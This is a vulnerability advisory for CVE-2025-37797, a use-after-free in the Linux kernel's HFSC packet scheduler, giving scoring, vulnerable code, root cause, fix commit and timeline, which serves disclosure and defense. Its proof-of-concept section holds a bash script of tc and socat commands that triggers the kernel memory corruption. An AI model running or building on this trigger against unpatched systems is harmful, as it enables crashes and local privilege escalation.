(CVE-2025-37797) Linux Kernel hfsc_change_class TOCTOU Leading to Use-After-Free and Local Privilege Escalation
CVE: CVE-2025-37797
Affected Versions: Linux kernel (multiple stable branches through 6.15-rc)
CVSS3.1: 7.8 (High) — CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
Summary
| Product | Linux Kernel (net_sched) |
|---|---|
| Vendor | Linux Kernel |
| Severity | High — a local unprivileged attacker may exploit this to achieve local privilege escalation |
| Affected Versions | Linux kernel (multiple stable branches through 6.15-rc) |
| CVE Identifier | CVE-2025-37797 |
| CVE Description | A TOCTOU flaw in the Linux kernel HFSC qdisc’s hfsc_change_class allows an empty class to be inserted into the vttree, leading to a use-after-free and local privilege escalation |
| CWE Classification(s) | CWE-416: Use After Free |
CVSS4.0 Scoring System
Base Score: 8.5
Vector String: CVSS:4.0/AV:L/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N
| Metric | Value |
|---|---|
| Attack Vector (AV) | Local |
| Attack Complexity (AC) | Low |
| Attack Requirements (AT) | None |
| Privileges Required (PR) | Low |
| User Interaction (UI) | None |
| Vulnerable System Confidentiality (VC) | High |
| Vulnerable System Integrity (VI) | High |
| Vulnerable System Availability (VA) | High |
| Subsequent System Confidentiality (SC) | None |
| Subsequent System Integrity (SI) | None |
| Subsequent System Availability (SA) | None |
Technical Details
A use-after-free vulnerability in the Linux Kernel net scheduler subsystem can be exploited to achieve local privilege escalation. In the hfsc_change_class routine, it is possible to peek and empty a child qdisc. Subsequently, there is no check that the child qdisc is empty before adding the class to the hfsc qdisc’s internal trees. This causes a use-after-free vulnerability. We recommend upgrading past commit 3df275ef0a6ae181e8428a6589ef5d5231e58b5c
The vulnerability lies in the hfsc_change_class() function.
if (cl->qdisc->q.qlen != 0) { // [1]
int len = qdisc_peek_len(cl->qdisc); // [2]
if (cl->cl_flags & HFSC_RSC) {
if (old_flags & HFSC_RSC)
update_ed(cl, len);
else
init_ed(cl, len);
}
if (cl->cl_flags & HFSC_FSC) {
if (old_flags & HFSC_FSC)
update_vf(cl, 0, cur_time);
else
init_vf(cl, len); // [3]
}
}
The logic of [1] and [3] is to add non-empty classes to the hfsc’s vttree. However, it is possible for a qdisc to be non-empty at [1], but the call to qdisc_peek_len ([2]) empties it. This is not checked for, leading to the activation of an empty class. This breaks the logic of hfsc, which relies on update_vf() to be called whenever the child qdisc is emptied (e.g. from hfsc_dequeue() or hfsc_qlen_notify()). Since the class is already empty, there will be no subsequent calls to update_vf(), allowing the class to be deleted without first removing it from vttree. This leads to UAF, which can be escalated to LPE as demonstrated in https://github.com/google/security-research/blob/a42a2e8be65216409760099dd464f9e0e70b08e3/pocs/linux/kernelctf/CVE-2023-4623_lts_cos/docs/vulnerability.md
Proof of Concept
#!/bin/bash
IP=/mnt/iproute2-next/ip/ip
TC=/mnt/iproute2-next/tc/tc
SOCAT=socat
$IP link set dev lo up
$TC qdisc add dev lo handle 1:0 root drr
$TC class add dev lo parent 1:0 classid 1:1 drr
$TC class add dev lo parent 1:0 classid 1:2 drr
$TC qdisc add dev lo handle 2:0 parent 1:1 plug limit 1024
echo "" | $SOCAT -u STDIN UDP4-DATAGRAM:127.0.0.1:8888,priority=$((0x10001))
$TC qdisc add dev lo parent 1:2 handle 3:0 hfsc default 1
$TC class add dev lo parent 3:0 classid 3:1 hfsc \
rt m1 5Mbit d 10ms m2 10Mbit
$TC qdisc add dev lo parent 3:1 handle 4:0 netem delay 1ms
$TC qdisc add dev lo parent 4:1 handle 5:0 blackhole
echo "" | $SOCAT -u STDIN UDP4-DATAGRAM:127.0.0.1:8888,priority=$((0x10002))
$TC class change dev lo parent 3:0 classid 3:1 hfsc \
sc m1 5Mbit d 10ms m2 10Mbit
$TC class del dev lo parent 3:0 classid 3:1
$TC class add dev lo parent 3:0 classid 3:1 hfsc \
rt m1 5Mbit d 10ms m2 10Mbit
echo "" | $SOCAT -u STDIN UDP4-DATAGRAM:127.0.0.1:8888,priority=$((0x10002))
Fix
Upgrade past commit 3df275ef.
References
Credit
Gerrard Tai of STAR Labs SG Pte. Ltd.
Timeline
- 2025-04-10 — Reported to Linux Kernel Security Team
- 2025-05-02 — CVE-2025-37797 published